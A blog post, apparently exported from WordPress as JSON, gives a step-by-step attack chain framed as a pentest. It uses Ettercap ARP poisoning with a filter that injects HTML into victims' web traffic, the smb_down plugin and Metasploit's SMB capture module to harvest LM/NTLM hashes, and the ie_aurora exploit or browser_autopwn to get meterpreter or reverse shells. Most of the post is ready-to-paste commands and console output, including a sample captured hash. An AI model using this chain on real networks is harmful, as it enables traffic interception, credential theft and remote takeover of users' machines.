{"id":160,"date":"2010-01-28T00:48:17","date_gmt":"2010-01-28T06:48:17","guid":{"rendered":"http:\/\/hackarandas.com\/blog\/?p=160"},"modified":"2010-01-28T01:22:05","modified_gmt":"2010-01-28T07:22:05","slug":"ettercap-metasploit-helping-the-aurora-attack","status":"publish","type":"post","link":"https:\/\/hackarandas.com\/blog\/2010\/01\/28\/ettercap-metasploit-helping-the-aurora-attack\/","title":{"rendered":"Ettercap + Metasploit – Helping the Aurora Attack"},"content":{"rendered":"

\"\"
\nI found a nice trick from Fulfor<\/a> based in another trick from Iron Geek <\/a> that I applied in a Pentest using the magical HD Moore’s Metasploit<\/a> and his browser_autopwn module and now I am adding the Aurora IE new Metasploit module.<\/p>\n

This trick has 3 parts:<\/p>\n

The Ettercap Filter<\/strong><\/p>\n

Based on the Irongeek’s Fun with Ettercap Filters<\/a> and Bob’s Fulfor article<\/a> I am creating the next ettercap filter: <\/p>\n

 # Just copy and paste in you terminal.\r\ncat > ch0ks.browser_autopwn.attack.filter << __END\r\nif (ip.proto == TCP && tcp.dst == 80) {\r\n   if (search(DATA.data, \"Accept-Encoding\")) {\r\n      replace(\"Accept-Encoding\", \"Accept-gnidocnE\"); \r\n\t  # note: replacement string is same length as original string\r\n      msg(\"Encoding Taken Care Of...\\n\");\r\n}\r\n}\r\nif (ip.proto == TCP && tcp.src == 80) {\r\nreplace(\"head>\", \"head>  \");\r\nreplace(\"body>\", \"body>  \");\r\nmsg(\"Replacement Filter Ran.\\n\");\r\n}\r\n\r\n__END<\/pre>\n
The IP string 192.168.123.3:80 is the IP with the port where I have the browser_autopwn module wating for the connection and I am using the head and body tag because I want my attack to  be the first thing they load. Now we compile the code:<\/p>\n
\r\netterfilter -o ch0ks.browser_autopwn.attack.ef ch0ks.browser_autopwn.attack.filter\r\n\r\netterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA\r\n\r\n\r\n 12 protocol tables loaded:\r\n\tDECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth \r\n\r\n 11 constants loaded:\r\n\tVRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP \r\n\r\n Parsing source file 'ch0ks.browser_autopwn.attack.filter'  done.\r\n\r\n Unfolding the meta-tree  done.\r\n\r\n Converting labels to real offsets  done.\r\n\r\n Writing output to 'ch0ks.browser_autopwn.attack.ef'  done.\r\n\r\n -> Script encoded into 16 instructions.\r\n<\/pre>\n
Now we start the ettercap making the ARP Poisoning attack and injecting the HTML code:<\/p>\n
\r\nettercap -P smb_down -i eth0 -l logfile-`date +%F-%s` -m msgfile-`date +%F-%s` -T  -M arp:remote -F ch0ks.browser_autopwn.attack.ef  \/192.168.123.39,42,33,106,154\/ \/192.168.123.1\/\r\n<\/pre>\n
The commands is running ettercap with the smb_down plugin that forces the connection to be a LM authentication, so it searches for the \\\\192.168.5.45\\share\\pixel.gif file that will be waiting the metasploit auxiliary\/server\/capture\/smb module and will be logging the hashes. Also the Ettercap will be logging everything in the logfile and msgfile and making an ARP Poisoning <\/a> between the first IPs in \/\/ and the second, I really recommend to use a little number of IPs and the Gateway to avoid making a DoS<\/a> on the network. The -F is the parameter will load our brand new filter that will inject on the fly HTML code in the traffic between the victims, that’s why is important to use the gateway.<\/p>\n
No we have to start our Metasploit attack. This is not new, I took the idea from Bob’s Fulfor article<\/a>. I just gonna update it to work with the Metasploit Framework 3 and add it the browser_autopwn  or the aurora attack. <\/p>\n
In the moment I am writting this article I am using the metasploit v3.3.4-dev [core:3.3 api:1.0].<\/p>\n
\r\n \r\n#    # ###### #####   ##    ####  #####  #       ####  # ##### \r\n##  ## #        #    #  #  #      #    # #      #    # #   #   \r\n# ## # #####    #   #    #  ####  #    # #      #    # #   #   \r\n#    # #        #   ######      # #####  #      #    # #   #   \r\n#    # #        #   #    # #    # #      #      #    # #   #   \r\n#    # ######   #   #    #  ####  #      ######  ####  #   #   \r\n\r\n\r\n\r\n       =[ metasploit v3.3.4-dev [core:3.3 api:1.0]\r\n+ -- --=[ 324 exploits - 105 auxiliary\r\n+ -- --=[ 217 payloads - 20 encoders - 6 nops\r\n       =[ svn r8286 updated today (2010.01.28)\r\n\r\nmsf > <\/pre>\n
For the next modules you need to work with the root account because you need to open priviledges ports like 80, 135 and 445 for the attack to work. I am using Ubuntu Linux Karmic Koala, but you can use the Backtrack Project<\/a> for this attack.<\/p>\n
NTLM or LM Interception.<\/strong><\/p>\n
We start the attack.<\/p>\n
\r\nsudo msfconsole \r\nmsf > use auxiliary\/server\/capture\/smb\r\nmsf auxiliary(smb) > set  LOGFILE Metasploit139.log\r\nLOGFILE => Metasploit139.log\r\nmsf auxiliary(smb) > set  PWFILE Metasploit139.pwd \r\nPWFILE => Metasploit139.pwd\r\nmsf auxiliary(smb) > run\r\n[*] Auxiliary module execution completed\r\n[*] Server started.\r\n\r\nmsf auxiliary(smb) > set  LOGFILE Metasploit445.log            \r\nLOGFILE => Metasploit445.log\r\nmsf auxiliary(smb) > set  PWFILE Metasploit445.pwd \r\nPWFILE => Metasploit445.pwd\r\nmsf auxiliary(smb) > set SRVPORT 445 \r\nSRVPORT => 445\r\nmsf auxiliary(smb) > run\r\n[*] Auxiliary module execution completed\r\n[*] Server started.\r\nmsf auxiliary(smb) > \r\n<\/pre>\n
I am running the service on both 139 and 445 because in my experience it improves the chances to catch an authentication hash. Now we have to wait and with some luck you sould see something like:<\/p>\n
[*] Received 192.168.0.103:2281 MYDOMAIN\\LAMEUSER LMHASH:7c83b9be93e202a4be355b75e982144b59bb9f836ec26200 NTHASH:9fc0fba25cb2817441a0ca8c003a4b68da83ef9e72514b2e OS:Windows 2002 2600 Service Pack 1 LM:Windows 2002 5.1<\/p>\n
This is good but you can’t just use that hash to authenticate so you have to crack it using the idea from carnal0wnage’s blog article: Using the Metasploit SMB Sniffer Module<\/a> NOTE: The tool halflm_second.rb is in the tools directory inside the Metsploit directory.<\/p>\n
Attacking the Browser directly<\/strong><\/p>\n
Now we have to start the browser_autopwn <\/p>\n
\r\nmsf auxiliary(smb) > use windows\/browser\/ie_aurora     \r\nmsf exploit(ie_aurora) > set SRVPORT 80   \r\nSRVPORT => 80\r\nmsf exploit(ie_aurora) > set URIPATH \/    \r\nURIPATH => \/\r\nmsf exploit(ie_aurora) > set PAYLOAD windows\/meterpreter\/bind_tcp \r\nPAYLOAD => windows\/meterpreter\/bind_tcp\r\nmsf exploit(ie_aurora) > show options \r\n\r\nModule options:\r\n\r\n   Name        Current Setting  Required  Description\r\n   ----        ---------------  --------  -----------\r\n   SRVHOST     0.0.0.0          yes       The local host to listen on.\r\n   SRVPORT     80               yes       The local port to listen on.\r\n   SSL         false            no        Negotiate SSL for incoming connections\r\n   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)\r\n   URIPATH     \/                no        The URI to use for this exploit (default is random)\r\n\r\n\r\nPayload options (windows\/meterpreter\/bind_tcp):\r\n\r\n   Name      Current Setting  Required  Description\r\n   ----      ---------------  --------  -----------\r\n   EXITFUNC  process          yes       Exit technique: seh, thread, process\r\n   LPORT     4444             yes       The local port\r\n   RHOST                      no        The target address\r\n\r\n\r\nExploit target:\r\n\r\n   Id  Name\r\n   --  ----\r\n   0   Automatic\r\n\r\nmsf exploit(ie_aurora) > exploit \r\n[*] Exploit running as background job.\r\nmsf exploit(ie_aurora) > \r\n[*] Started bind handler\r\n[*] Using URL: http:\/\/0.0.0.0:80\/\r\n[*]  Local IP: http:\/\/192.168.123.3:80\/\r\n[*] Server started.\r\n<\/pre>\n
That’s it now you have to wait so a browser bite the bait and get a meterpreter console. This was about the Aurora new Metasploit’s module because is the new trend of the night but let’s face it, it is just part of the big world of the browser attacks. So if you are just lazy you can use the browser_autopwn module:<\/p>\n
\r\nmsf auxiliary(browser_autopwn) > db_driver  sqlite3                \r\n[*] Using database driver sqlite3\r\nmsf > use server\/browser_autopwn\r\nmsf auxiliary(browser_autopwn) > set LHOST 192.168.123.3\r\nLHOST => 192.168.123.3\r\nmsf auxiliary(browser_autopwn) > set SRVPORT 80  \r\nSRVPORT => 80\r\nmsf auxiliary(browser_autopwn) > set URIPATH \/\r\nURIPATH => \/\r\nmsf auxiliary(browser_autopwn) > show options  \r\n\r\nModule options:\r\n\r\n   Name        Current Setting  Required  Description\r\n   ----        ---------------  --------  -----------\r\n   LHOST       192.168.123.3    yes       The IP address to use for reverse-connect payloads\r\n   SRVHOST     0.0.0.0          yes       The local host to listen on.\r\n   SRVPORT     80               yes       The local port to listen on.\r\n   SSL         false            no        Negotiate SSL for incoming connections\r\n   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)\r\n   URIPATH     \/                no        The URI to use for this exploit (default is random)\r\nmsf auxiliary(browser_autopwn) > run\r\n[*] Auxiliary module execution completed\r\n[*] Starting exploit modules on host 192.168.123.3...\r\n[*] ---\r\n\r\n[*] Starting exploit multi\/browser\/firefox_escape_retval with payload generic\/shell_reverse_tcp\r\n[*] Using URL: http:\/\/0.0.0.0:80\/IC0F7kIlYh\r\n[*]  Local IP: http:\/\/192.168.123.3:80\/IC0F7kIlYh\r\n[*] Server started.\r\n...\r\n[*] Starting the payload handler...\r\n[*] Started reverse handler on port 6666\r\n[*] Starting the payload handler...\r\n\r\n[*] --- Done, found 15 exploit modules\r\n\r\n[*] Using URL: http:\/\/0.0.0.0:80\/\r\n[*]  Local IP: http:\/\/192.168.123.3:80\/\r\n[*] Server started.\r\n<\/pre>\n
That’s it now you have to wait so a browser bite the bait and get a shell inside the computer with the user priviledges that is running the browser.<\/p>\n
Happy Pentesting<\/p>\n
Adri\u00c3\u00a1n Puente Z.<\/em><\/p>\n
Technorati Tags: <\/strong>
\nhackarandas<\/a>; Adrian Puente Z.<\/a>; Metasploit<\/a>; Hacker<\/a>; Aurora IE <\/a>; Ettercap<\/a>; arp poisoning<\/a>; security<\/a>; pentest<\/a>; pentesting<\/a>; hacking<\/a>; hacker<\/a>; smb<\/a>; hashes<\/a>; Tag generator<\/a><\/p>\n\n
<\/div>","protected":false},"excerpt":{"rendered":"
I found a nice trick from Fulfor based in another trick from Iron Geek that I applied in a Pentest using the magical HD Moore’s Metasploit and his browser_autopwn module and now I am adding the Aurora IE new Metasploit … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6,8,4],"tags":[25,20,22,21,23,80,27,19,24,79,26],"class_list":["post-160","post","type-post","status-publish","format-standard","hentry","category-articles","category-hacking","category-security","tag-arp-poisoning","tag-aurora","tag-browser_autopwn","tag-ettercap","tag-hackarandas","tag-hacking","tag-hash","tag-metasploit","tag-pentest","tag-79","tag-smb"],"_links":{"self":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/160","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/comments?post=160"}],"version-history":[{"count":32,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/160\/revisions"}],"predecessor-version":[{"id":195,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/posts\/160\/revisions\/195"}],"wp:attachment":[{"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/media?parent=160"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/categories?post=160"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hackarandas.com\/blog\/wp-json\/wp\/v2\/tags?post=160"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}